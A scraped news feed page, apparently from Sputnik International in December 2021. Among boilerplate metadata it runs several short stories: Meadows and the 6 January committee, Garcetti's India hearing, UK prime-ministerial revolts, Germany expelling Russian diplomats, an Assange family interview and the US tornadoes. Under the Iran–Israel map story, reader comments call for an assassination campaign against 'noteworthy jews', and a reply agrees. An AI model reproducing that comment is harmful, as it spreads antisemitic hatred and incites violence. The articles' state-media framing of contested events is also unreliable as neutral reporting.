2021 Max Gorbachev Max Gorbachev News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Max Gorbachev society, texas, politics, matthew mcconaughey, jimmy fallon https://sputniknews.com/20211215/biden-says-meadows-worthy-of-being-held-in-contempt-for-refusing-to-testify-to-6-january-committee-1091551924.html Biden Says Meadows 'Worthy' of Being Held in Contempt for Refusing to Testify to 6 January Committee Biden Says Meadows 'Worthy' of Being Held in Contempt for Refusing to Testify to 6 January Committee US President Joe Biden has stated that in his opinion, Trump's last chief of staff Mark Meadows was "worthy" of being held in contempt by Congress 2021-12-15T18:24+0000 2021-12-15T18:24+0000 2021-12-15T18:24+0000 us donald trump mark meadows steve bannon /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/0c/03/1091224731_0:0:3071:1728_1920x0_80_0_0_9370eabbcde5e4a2ecdc79670ff5004f.jpg US President Joe Biden has stated that in his opinion, Trump's last chief of staff Mark Meadows was "worthy" of being held in contempt by Congress after he refused to testify to the House 6 January committee.At the same time, Biden admitted that he hadn't read the communications that Meadows voluntarily handed over to the House committee, but maintained his position regarding holding the man in contempt.The communications that Meadows provided showed that several Fox News hosts and the president's eldest son Donald Trump Jr. pleaded with the then-White House chief of staff to convince Trump to make a statement on 6 January. They insisted that POTUS should condemn the violence at the Capitol and thus attempt to quell it. Trump criticised the violent mob that stormed the Congress building and called on them to stay peaceful.Biden has already in the past said that, in his opinion, those who refuse to cooperate with the 6 January committee should be held in contempt. Meadows is not the first person whom the House committee has referred to the Department of Justice in order to file charges against. Previously, it has done so with Trump's former aide Steve Bannon. The DoJ moved forward with a criminal contempt charge against him, but Bannon insists that he refused to testify based on legal advice from his attorney.Even though Meadows did not resist handing over his phone communications to the 6 January committee, he refused to show up and testify. The Department of Justice is yet to decide whether or not to follow up on the congressional referral of criminal contempt case against the former White House chief of staff.The House 6 January committee was established by the Democrats with the declared goal of investigating the aspects and origins of the unrest at the Capitol on the day of the certification of the 2020 election results. However, former President Donald Trump decried it as an "unselect committee" whose only purpose is to wage another "witch hunt" against him. https://sputniknews.com/20211207/us-doj-seeks-to-strip-steve-bannons-defence-of-main-evidence-ahead-of-criminal-contempt-trial-1091330682.html Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg us, donald trump, mark meadows, steve bannon https://sputniknews.com/20211215/bidens-ambassador-pick-will-prioritise-strengthening-indias-capacity-to-deter-aggression-1091530747.html Biden's Ambassador Pick Will Prioritise Strengthening India's Capacity to 'Deter Aggression' Biden's Ambassador Pick Will Prioritise Strengthening India's Capacity to 'Deter Aggression' The 50-year-old mayor of Los Angeles, Eric Garcetti, has said that helping India "defend its sovereignty" as well as engaging with the Indian government on "democratic backsliding" and "discrimination" against minorities would be his priorities once he is confirmed as Washington's next envoy to New Delhi. 2021-12-15T07:13+0000 2021-12-15T07:13+0000 2021-12-15T07:13+0000 los angeles joe biden ladakh region us china mayor eric garcetti caatsa protests against new citizenship law in india india /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/0c/0f/1091533608_0:84:3071:1811_1920x0_80_0_0_ab4cdfef4275fe0ff9fba1bf1485ba6a.jpg The 50-year-old mayor of Los Angeles, Eric Garcetti, has said that helping India "defend its sovereignty" as well as engaging with the Indian government on "democratic backsliding" and "discrimination" against minorities would be his priorities once he is confirmed as Washington's next envoy to New Delhi.Garcetti was tapped by the Biden administration in July to be the next American ambassador to India. Yet, the confirmations of Garcetti and dozens of other prospective US ambassadors have been pending before the US Congress amid a logjam over disagreements on national security policies between the Democrats and the Republicans.On Tuesday, Garcetti, along with Donald Bloom (Biden's pick as next US ambassador to Pakistan) and Dr Amy Gutman (the pick for envoy to Berlin), appeared before the US Senate Committee on Foreign Relations in a confirmation hearing."We will do that through counterterrorism cooperation, joint freedom of navigation and patrolling and military exercises, which I have witnessed personally with my brave Indian counterparts, as well as through the sales of best defence technology to fully realise the potential of our major defence partnership", added the LA mayor.The remarks come amid a lingering border standoff between China and India in the eastern Ladakh region. Thirteen rounds of military commander-level talks and several rounds of official meetings, including a series of talks between the foreign ministers, have failed to resolve the standoff, the deadliest in over four decades.Garcetti was also probed on how he would help the US navigate the India-Russia relationship, as members of the US Senate Foreign Relations Committee pointed at the $5.43 billion deal between New Delhi and Moscow for the supply of five columns of S-400 surface-to-air missile systems. Despite several members of the Biden administration indicating that New Delhi could be sanctioned under a domestic piece of legislation called the Countering American Adversaries Through Sanctions Act (CAATSA) for engaging in defence transactions with Moscow, New Delhi went ahead with the deal and said it was in India's "national interest" to do so.Garcetti also said that he would "regularly engage" with Indian officials on various issues of human rights, including on "democratic backsliding" in the country as well as "discrimination against minorities".Garcetti was then asked if he would raise India's Citizenship Amendment Law (CAA), which the senators described as "discriminating" against Muslims, with New Delhi during his potential stint in India.The CAA fast-tracks citizenship applications to India for non-Muslim minorities from Bangladesh, Afghanistan, and Pakistan. It was cleared by the Indian Parliament in 2019. The new law triggered widespread protests by Muslim organisations and opposition parties in India, who argue that the CAA could be a ploy by Prime Minister Narendra Modi's Hindu nationalist government to disenfranchise Muslims.The Indian prime minister and Home Minister Amit Shah have maintained that the CAA won't lead to any Indian citizen being deprived of their citizenship. https://sputniknews.com/20211214/blinken-urges-senate-to-act-to-confirm-bidens-ambassador-picks-1091505340.html https://sputniknews.com/20210614/one-year-after-galwan-battle-china-reasserts-claim-over-ladakh-with-more-infra-bomber-trials-1083146160.html los angeles ladakh region china Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Dhairya Maheshwari Dhairya Maheshwari News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Dhairya Maheshwari los angeles, joe biden, ladakh region, us, china, mayor eric garcetti, caatsa, protests against new citizenship law in india, india https://sputniknews.com/20211215/from-tony-blair-to-boris-johnson-25-years-of-revolts-against-uk-government-1091544637.html From Tony Blair to Boris Johnson: 25 Years of Revolts Against UK Government From Tony Blair to Boris Johnson: 25 Years of Revolts Against UK Government As Boris Johnsons efforts to recover from the Tory and the overall parliamentary rebellion continue, the history of British political leadership proves that... 15.12.2021, Sputnik International 2021-12-15T14:19+0000 2021-12-15T14:19+0000 2021-12-15T14:19+0000 theresa may boris johnson tony blair gordon brown david cameron rebellion /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/106779/24/1067792402_0:0:3143:1768_1920x0_80_0_0_4e39573f10f862a0c3e63851c054914a.jpg It appears that every single UK PM for the past 25 years has been weakened by their very own political kryptonite. From Tony Blair to Boris Johnson, Westminster has seen the Parliament revolt against the government, including party rebellions against their elected leaders.Boris JohnsonThe current Conservative Party leader is facing shots fired on all sides, with party members casting doubt on his performance and launching the largest Tory rebellion of his tenure on Tuesday night.The unity of the Tories has been threatened by disagreements over the so-called Plan B on tougher COVID rules for England this winter that include the mandatory introduction of COVID health passes for large venues in the country. Almost 100 Tory MPs voted against Plan B on 14 December.Johnson has also been facing backlash over the alleged No 10 "illicit" lockdown Christmas party. The PMs party has also lost credibility in the wake of the Owen Paterson sleaze scandal that saw the member of parliament engage in paid advocacy for two companies, one of which received COVID testing contracts. While Paterson resigned as the Tory MP for North Shropshire, Downing Street was criticised for attempting to rewrite MP standards.Johnsons leadership path has been tainted by scandal after scandal, as he has been accused of failing to handle the COVID-19 crisis, spending inadequate funds on the redecoration of Downing Street, and leading a Cabinet whose ministers breached pandemic restrictions.The prime minister's former top aide, Dominic Cummings, has been adding fuel to the fire, spilling inside information on the governments poor management of the coronavirus outbreak in the UK and the PMs own staff.Back in November, Cummings predicted that Johnson wont even survive until the next elections, adding that Boris is stalled and isnt going anywhere". Theresa MayJohnsons predecessor, Tory leader Theresa May, was, in turn, rocked by Brexit troubles, a legacy she received from former UK PM David Cameron.Since taking office in July 2016, she struggled to unite the Parliament and her own party over the handling of Brexit negotiations with the European Union up until she confirmed her resignation in June 2019.During her leadership, May suffered two votes of no confidence, one by her own party members and another by opposition party leader Jeremy Corbyn - both over the Brexit deal which stipulated the condition of Britains exit from the European Union.Mays government suffered four defeats in the House of Commons during the parliamentary votes on Brexit. One of the votes, on 15 January 2019, saw 202 MPs vote in favour and 432 against, making it the largest majority against a United Kingdom government in history.David CameronDavid Cameron, Conservative Party leader from 11 May 2010 to 13 July 2016, suffered his fair share of criticism, with one of the key controversies being his pledge to hold a referendum on Britain's membership in the EU. This decision eventually led to the UK divorce from the European bloc, an outcome not intended by Cameron.Plots against Camerons leadership brewed, following poor results in the May 2012 local elections, when the Tories grew concerned over his electability. Later that year, media reports said that a "rebel reserve" of 55 Conservative MPs had given firm support to a motion of no confidence in Cameron. Andrew Bridgen, the Conservative MP for North West Leicestershire, called for a vote of confidence in Cameron's leadership in 2014, claiming the Tory leader had a "credibility problem". That bid for later dropped.Following Camerons resignation from the post of prime minister, he found himself at the centre of a lobbying scandal, involving the supply chain financing firm Greensill Capital in March 2021. Cameron served as the adviser at Greensill and came under criticism after it emerged he had personally lobbied members of government for a favourable deal for Greensill.Gordon BrownLabour leader and the UK prime minister from June 2007 to May 2010, Gordon Brown had to fend off a number of large revolts and a series of mini-revolts by MPs.More than 25 percent of revolts took place over the Lisbon Treaty bill, which committed EU member states to seek uniformity in measures of liberalisation.Despite a rebellion by 29 of its own backbenchers, Browns government defeated a Conservative proposal to hold a popular vote on the Lisbon Treaty by 311 votes to 248 in the House of Commons on 5 March 2008.During Browns first full session as PM, there had been 103 Labour revolts.Tony BlairBrowns predecessor, Labours Tony Blair, led the British government for 10 years, from 1997 to 2007. Blairs kryptonite turned out to be the decision to participate in the 2003 invasion of Iraq, a war that became increasingly unpopular with the public in the years to come.Blairs decision subsequently brought on the 2016 Iraq Inquiry that looked into the UK government waging an unjustified and unnecessary invasion. While at the time Blair argued that the Saddam Hussein government possessed an active weapons of mass destruction (WMD) programme, it later proved to be false, as no stockpiles of WMDs or an active WMD programme were ever found in Iraq.In 2004, Labour activists were circulating a resolution of no confidence in Tony Blair due to loss of trust over the Iraq war. Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 theresa may, boris johnson, tony blair, gordon brown, david cameron, rebellion https://sputniknews.com/20211215/germany-declares-two-russian-diplomats-personae-non-grata-over-khangoshvili-murder-case-1091549851.html Germany Declares Two Russian Diplomats Personae Non Grata Over Khangoshvili Murder Case Germany Declares Two Russian Diplomats Personae Non Grata Over Khangoshvili Murder Case The German Foreign Ministry has summoned the Russian ambassador and declared two Russian diplomats personae non gratae and insisted that they leave the country in connection with the sentencing of Russian citizen Vadim Sokolov. 2021-12-15T15:32+0000 2021-12-15T15:32+0000 2021-12-15T19:15+0000 europe russia germany persona non grata /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/105268/26/1052682607_0:181:2997:1867_1920x0_80_0_0_946ac57aaa94c29586278248c6768020.jpg The German Foreign Ministry has summoned the Russian ambassador and declared two Russian diplomats personae non gratae and insisted that they leave the country in connection with the sentencing of Russian citizen Vadim Sokolov. The man was found guilty of killing a Georgian citizen Zelimkhan Khangoshvili, but Germany believes he acted on orders from the Russian government.Baerbock added that Germany wants to build relations with Russia based on mutual respect and respect for international laws. The murder of the Georgian citizen by the alleged Russian assassin undermines efforts to achieve this, she added.The Russian Embassy in Berlin has expressed a "strong protest" against Germany's decision to expel two diplomats.The German foreign minister's statements come after the German High Court found Vadim Sokolov guilty of killing Khangoshvili two-and-a-half years ago in the Berlin park Kleiner Tiergarten. The court said that Sokolov's real name was Vadim Krasikov and that he allegedly worked for the Russian special services.According to the court's ruling, he killed Khangoshvili on the orders of the Russian government. Moscow strongly denies the notion that it ordered a hit on the Georgian citizen and pointed out the lack of evidence in the case. Russia's ambassador in Berlin called the case "politically motivated" and that the ruling is an obvious "hostile act, which will not go unanswered".Khangoshvili was a commander of the Chechen Republic of Ichkeria - a militant group in Russia's south, which fought against the country's government in the Second Chechen War, and committed numerous war crimes, kidnappings and robberies in the process. Khangoshvili himself managed to flee Russia after the war and was considered a terrorist by its Federal Security Service (FSB). https://sputniknews.com/20201010/khangoshvili-killed-in-berlin-was-wanted-by-russia-for-role-in-terrorist-attacks-1080733136.html Robert Gray A Terrorist-Murderer hunted down and Killed. Could be instigated by Vigilantes. 3 Dee Bo russia has been reduced to the worlds red headed step child. Got to love it...lol 2 4 germany Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg europe, russia, germany, persona non grata https://sputniknews.com/20211215/i-have-no-doubt-he-will-die-if-extradited-to-us-julian-assanges-brother-1091539625.html I Have No Doubt He Will Die if Extradited to US, Julian Assange's Brother Says I Have No Doubt He Will Die if Extradited to US, Julian Assange's Brother Says Wikileaks founder Julian Assange is facing new uncertainties after the UK's High Court ruled last Friday that he could be extradited to the US. "I have no doubt he will die [if extradited to the US]," said Assange's brother Gabriel Shipton (Shipton) in an exclusive interview with Global Times (GT) reporter Wang Wenwen. 2021-12-15T10:34+0000 2021-12-15T10:34+0000 2021-12-15T10:37+0000 london julian assange global times uk /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/06/06/1083083672_0:183:3072:1911_1920x0_80_0_0_a229484fff356e29e90e33790d48c6ec.jpg Assange's fiancee revealed to the media that he suffered a stroke in prison in October due to stress over his future. What does the family plan to do next? How did the US administration disappoint the family? Shipton shared his thoughts with the Global Times.GT: When was the last time you saw him? How was his condition?Gabriel Shipton: The last time I saw Julian was in Belmarsh maximum-security prison just outside of London. And that was in October last year when I was last in the UK. His condition at that time I think he had almost been in that prison for two years. So it was taking its toll on him. Over the years when I go and visit him, whether it's in the Ecuadorian embassy or the prison, you can see what effect it's having on him.This sort of pressure that he is under is really taking its toll on his health. He just had a mini-stroke during the appeal hearing in October. His health is progressively getting worse and we sort of live in fear that he won't survive this ordeal.GT: How did you feel when you heard the latest ruling that he could be extradited to the US? Is the fear that Julian may choose to die by suicide haunting you more? Gabriel Shipton: Yes, it certainly does. I hope he can survive. He's very strong and he's very determined. I think the extradition approval that was given by the high court - we're gonna fight it. Julian is going to appeal. He has until December 24 to lodge an appeal to the Supreme Court in the UK but I think we can't rely on the UK courts anymore. I think the chances of winning are very slim. One of the justices who approved the extradition on Friday (December 10) was the chief justice of England and Wales. So he is the most senior judge in the whole of the UK and that's his decision to grant the extradition.So any appeal to the Supreme Court will have to take that into account that they will have to rule against the most senior judge in the UK. So it's really up to the US and the Biden administration to let this attack on press freedoms and attack on journalism go.GT: Besides the appeal, what else do you plan to do?Gabriel Shipton: We are campaigning now around the world for Julian's release. I'm here in the US in New York City today and I'll be in Washington, DC tomorrow, advocating for Julian's release. I'm doing media here. We have many avenues of the campaign that is going on. I was just at a protest action outside the UK consulate here in New York, where there were many people, celebrities, lots of media. So there's renewed attention on Julian's persecution now, and we're taking advantage of that and building momentum for a campaign to free him.GT: What could happen to Julian if he is extradited to the US? Gabriel Shipton:I have no doubt that he will die. If he is extradited in the US prison system, they cannot keep their prisoners safe. You just have to look at what happened to other high-profile prisoners like Jeffrey Epstein. He cannot be kept safe in the US prison [system]. And I don't think we can assume that they can look after him or keep him safe from the forces that are trying to keep him in prison now.We saw in September revelations coming from investigative reporters in Washington that there were plots from within the CIA to kidnap or kill Julian when he was in the Ecuadorian embassy. I think those plots haven't really gone away. There're still those factions within the American intelligence that want to see Julian dead. That's what I feel will happen if he gets extradited to the US.GT: You tried to lobby the Biden administration when it was just about to take office. Did it disappoint you more when you dealt with it?Gabriel Shipton: There was a time when people post-Trump thought that maybe Biden would let this go, maybe the Biden administration would revert to the position of the Obama administration where they found that they couldn't prosecute Julian without also prosecuting The New York Times.So there was a bit of an expectation that the Biden administration might revert back to that position. And we did have some early contact with the administration. But after the inauguration on January 20, we had no more contact with them. And shortly after that, they announced that they would be pursuing this prosecution. With the Biden administration, we've seen with the "democracy summit" last week, they are talking the talk when it comes to press freedom. They're using press freedom to lecture other countries and talk to other countries about press freedom in their country when they are holding a publisher and journalist in prison. Julian is in prison only at the request of the US DOJ (Department of Justice) and they have also requested that he not be given bail.The Biden administration has an opportunity now to show the world how serious they actually are about press freedom. And it's not just hot air that they're talking about press freedoms and lecturing other nations on press freedoms, and that they're actually serious about press freedoms, and they should just let Julian go. And that is a way that they can show the world that they are actually serious about press freedom. They're not just lecturing other countries about it. I see the Chinese foreign affairs spokesperson today (Monday) come out with a tweet saying that if the Biden administration wants to lecture people on press freedoms and they should let Julian Assange go. I think those sorts of things are going to increase over time. Nations and states around the world are going to say to the USA you can't say anything to us because look what you're doing to Julian Assange.GT: What do you expect from the Australian government? If it steps in, will it make a difference?Gabriel Shipton: I think so. Australia - they just have this AUKUS agreement in place. So Australia is an ally of the US, so Australia can turn around and say, hey, we're one of your allies. Just let this go, let our man come home to be with his family. Just yesterday (Sunday) the Deputy Prime Minister of Australia Barnaby Joyce called for the extradition of Julian Assange not to go ahead. That's an encouraging sign that maybe the Australian government might do something here, or at least the deputy prime minister is on the side of Julian and sees that this is a problem, a problem that US law can be applied to anywhere. It can be applied to any of the allied countries - the extraterritorial reach of US law. I think that's a big problem and Barnaby Joyce sees that problem.We even saw Meng Wanzhou in Canada. She is the CFO of Huawei. The US used the extradition treaties with Canada to hold her captive. So we can see it happening time and time again. The US is using these unfair extradition treaties to pursue people whom they don't agree with politically.I think it's an opportunity for Australia to tell the US - its biggest ally - that they want Julian to be free. Australia should use its alliance in it for its favour rather than just take orders from the US. Australia is an important strategic ally of the US and we should be respected as such, and we should be listened to when it comes to our citizens.GT: Some believe Julian's case is the result of the connivance of Western governments that cannot tolerate the truth, which shows the decline of the West. What do you think? Gabriel Shipton: What we're seeing with Julian's persecution is that if you expose the crimes of a government, or if you expose torture, or if you expose the corruption of the government, you are going to be punished. What the US DOJ is attempting to do is to make telling the truth illegal.I think when you look at a government that does that, you start to think, well, is this a democracy? Am I living in a democracy if I don't know what the government is doing in my name? What does my vote mean? Is it just a performance that we do every four years? Voting if we don't really know what our votes are voting for or where our tax money is going? I think this Julian persecution strikes at the very heart of what we believe our democracies are. So we need to stop it and sort of rebuild and stop this descent into barbarity that is happening in the West.GT: Besides some news reports from US media about the process of Julian's case, few made the call to free him. What do you think of the US mainstream media's reaction to this case?Gabriel Shipton: They could always do more. What is their stake here is their rights as well. So they should be coming to defend the defence of Julian. They're getting better and some are reporting on it more. But they can always do more and they need to realise that really, this is their business that's under attack here. If journalism is a crime, then how can I do business? What we've been saying since the last 10 years is mainstream media has been losing its audience and so they need to take a long hard look at themselves and say, what is their function in a democratic society?GT: Have you imagined what you will do if Julian is set free? What is his wish? Gabriel Shipton: I would imagine Julian coming up for Christmas this year would be good. I think if he gets out, he's going to need some time to recuperate, to sort of rehabilitate himself after this ordeal.I hope he has some time to spend quiet time with his family, with his children and his fiancee Stella, so that they can just take some time to become a family again and do normal things, take the kids down to the park, or go and have a coffee or something like that. I think it's a pretty nice dream at the moment.GT: How are his two children right now?Gabriel Shipton: They're very cute. Gabriel and Max - they're OK, but they're still quite young and don't have a great grasp of what's going on. One of them has only ever known Julian in prison. He's never known his dad to live outside or anything like that.So when they grow up more and begin to understand what's going on, I think they'll be very proud of what their father has done. And they'll get a better understanding. But at the moment, this is what they know. This is their life.This article was originally published by the Global Times helleb He will die in Cubas Guantanamo Bay Prison . Not on American Soil, to keep the despicable blameless. 0 vot tak Excellent interview. See also at RT: "Moscow likens treatment of Assange to cannibalism". 0 2 london Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 london, julian assange, global times, uk https://sputniknews.com/20211215/iranian-daily-publishes-map-of-targets-in-israel-tehran-could-strike-in-case-of-armed-conflict-1091548912.html Iranian Daily Publishes Map of 'Targets in Israel' Tehran Could Strike in Case of Armed Conflict Iranian Daily Publishes Map of 'Targets in Israel' Tehran Could Strike in Case of Armed Conflict Iranian daily newspaper Tehran Times has published a map of Israel covered in red dots presumably representing the sites that might be targeted by Iran should Israel attack it. 2021-12-15T15:49+0000 2021-12-15T15:49+0000 2021-12-15T15:49+0000 middle east iran israel /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/04/09/1082583937_0:131:2500:1537_1920x0_80_0_0_3f1e49736040287e97457f608747f290.jpg Iranian daily newspaper, Tehran Times, has published a map of Israel covered in red dots presumably representing sites that might be targeted by Iran should Israel launch a pre-emptive attack. Shown on the front page of the latest edition of the newspaper, the map marks dozens of locations in Israel and is followed by a headline which simply reads, "Just One Wrong Move!"The article itself is reminiscent of a recent report in Israel's newspaper, Yedioth Ahronoth, which claimed that a recent airstrike in Syria was Tel Aviv's "direct message" to Iran. The Israeli media also reported that Israeli Air Force and military intelligence had recently boosted their numbers in preparation for an alleged future "attack on Iran".Tehran Times also recalled that the Israeli Defense Forces (IDF) confirmed plans to hold large-scale war games next year simulating an offensive against the Islamic Republic.The Iranian newspaper stressed that it did not need to remind Israel of the recent advances Tehran has achieved in the defence industry. It also reiterated the 2013 warning of Ayatollah Seyyed Ali Khamenei, who cautioned Israel against attacking Iran, vowing that such an offensive would have dire consequences.Tehran Times did not elaborate whether its map is based on insider information about Tehran war plans or just their own prediction. The map itself raises certain questions since it contains marks on Lebanese territory, as well as several Palestinian cities Jenin, Nablus, Ramallah and Hebron. There are also several marks in the empty spaces of the Negev desert. https://sputniknews.com/20211210/pentagon-declines-to-say-if-us-israel-mull-training-for-strikes-on-iran-nuclear-sites-1091426648.html mandrake But personally I think they should copy the jews and carry out assassination of noteworthy jews, either in palestine or jews funding the criminal jews in palestine. The various vital points in palestine and which the jews consider important are yhere forvthe future. However, the finalization of the jews illegal occupation of palestines starts with copying the jews with an assassination program! And take it from there! 3 Aussie Star you are right but unfortunately, there are no noteworthy jews 3 7 iran Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg middle east, iran, israel https://sputniknews.com/20211215/live-from-mayfield-amid-us-presidents-visit-to-tornado-ravaged-areas-in-kentucky-1091551273.html Live From Mayfield Amid US Presidents Visit to Tornado-Ravaged Areas in Kentucky Live From Mayfield Amid US Presidents Visit to Tornado-Ravaged Areas in Kentucky A series of powerful twisters descended on the US state of Kentucky on late Friday, 10 December, wreaking havoc in towns and leaving 74 people dead. 15.12.2021, Sputnik International 2021-12-15T17:52+0000 2021-12-15T17:52+0000 2021-12-15T18:21+0000 joe biden kentucky tornado deadly tornadoes in us /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/0c/0d/1091491768_0:160:3077:1890_1920x0_80_0_0_c6169e9ae1cb3a0e2a3cbf084b9ff6b6.jpg Sputnik is live from the town of Mayfield as US President Joe Biden pays a visit to the state of Kentucky, including the towns of Mayfield and Dawson Springs, which were ravaged by tornadoes last week. During his visit, Biden is planning to survey the damage and meet the survivors. So far, the US president has promised that the federal government will support the affected areas as long as it takes to help.A major disaster has been declared in Kentucky after the tornadoes hit the state last Friday. Kentucky Governor Andy Beshear has announced that 74 people were killed by the tornadoes, adding that the death toll was expected to grow.FOLLOW OUR FEED TO FIND OUT MORE kentucky Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Live from Mayfield as Biden travels to Kentucky to survey storm damage Live from Mayfield as Biden travels to Kentucky to survey storm damage 2021-12-15T17:52+0000 true PT88M50S 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 joe biden, kentucky, tornado, https://sputniknews.com/20211215/nine-year-old-dies-in-missouri-tornado-moments-after-mother-texted-photo-from-safe-space-1091529628.html Nine-Year-Old Dies in Missouri Tornado Moments After Mother Texted Photo From 'Safe Space' Nine-Year-Old Dies in Missouri Tornado Moments After Mother Texted Photo From 'Safe Space' At the time, the family had been hiding inside a windowless bathroom in their home near Caruthersville, Missouri, that they believed was a safe space to wait out the looming storm. 2021-12-15T04:17+0000 2021-12-15T04:17+0000 2021-12-15T04:22+0000 deadly tornadoes in us missouri tornado /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/0c/0c/1091466410_0:120:1280:840_1920x0_80_0_0_1a06c2f504e70ca245c4788140050a75.jpg At the time, the family had been hiding inside a windowless bathroom in their home near Caruthersville, Missouri, that they believed was a safe space to wait out the looming storm.However, just moments after mom Meghan Rackley snapped a picture of the group hiding out, disaster struck. Some 15 minutes after the photo was texted to a family member, the tornado arrived and completely destroyed the residence."They were sucked up into the tornado", Sandra Hooker, the child's great aunt, told the Associated Press during a telephone interview. Hooker was the family member who had received the photo before mayhem consumed the area.The photo showed a smiling Annistyn along with her younger sisters - Avalinn, and Alanna - clutching her favourite doll, which she lovingly referred to as Baby MawMaw.Hooker told the outlet that the Rackleys' home was completely "splintered".Speaking to medical professionals at a Memphis hospital, seven-year-old Avalinn told officials that she had been praying for the tornado to "spit me out".In the end, the force of the twister threw the family yards from their home and into a muddy field, where first responders were later able to help them. However, the family would later be informed that the eldest of the children - Annistyn - did not survive.Hooker, who was one of the first to arrive at the scene following the tragedy, has remained in close contact with the Rackleys. She described Annistyn, who suffered from a rare liver disorder, as a "special angel".While dad Trey and Alanna survived the incident without major injuries, the same could not be said for Meghan or Avalinn, who suffered a broken vertebrae and is expected to undergo surgery Wednesday.A prayer vigil was held on Sunday near the field where the Rackleys were found by authorities. HappyGringo Asteroids Attack!!!! 4 1 missouri Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Nevin Brown Nevin Brown News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Nevin Brown missouri, tornado https://sputniknews.com/20211215/no-rest-for-student-loan-debt--1091529057.html No Rest For Student Loan Debt No Rest For Student Loan Debt As the critical 2022 midterm elections approach and the omicron variant complicates the economic impact of the COVID-19 pandemic, US President Joe Biden's... 15.12.2021, Sputnik 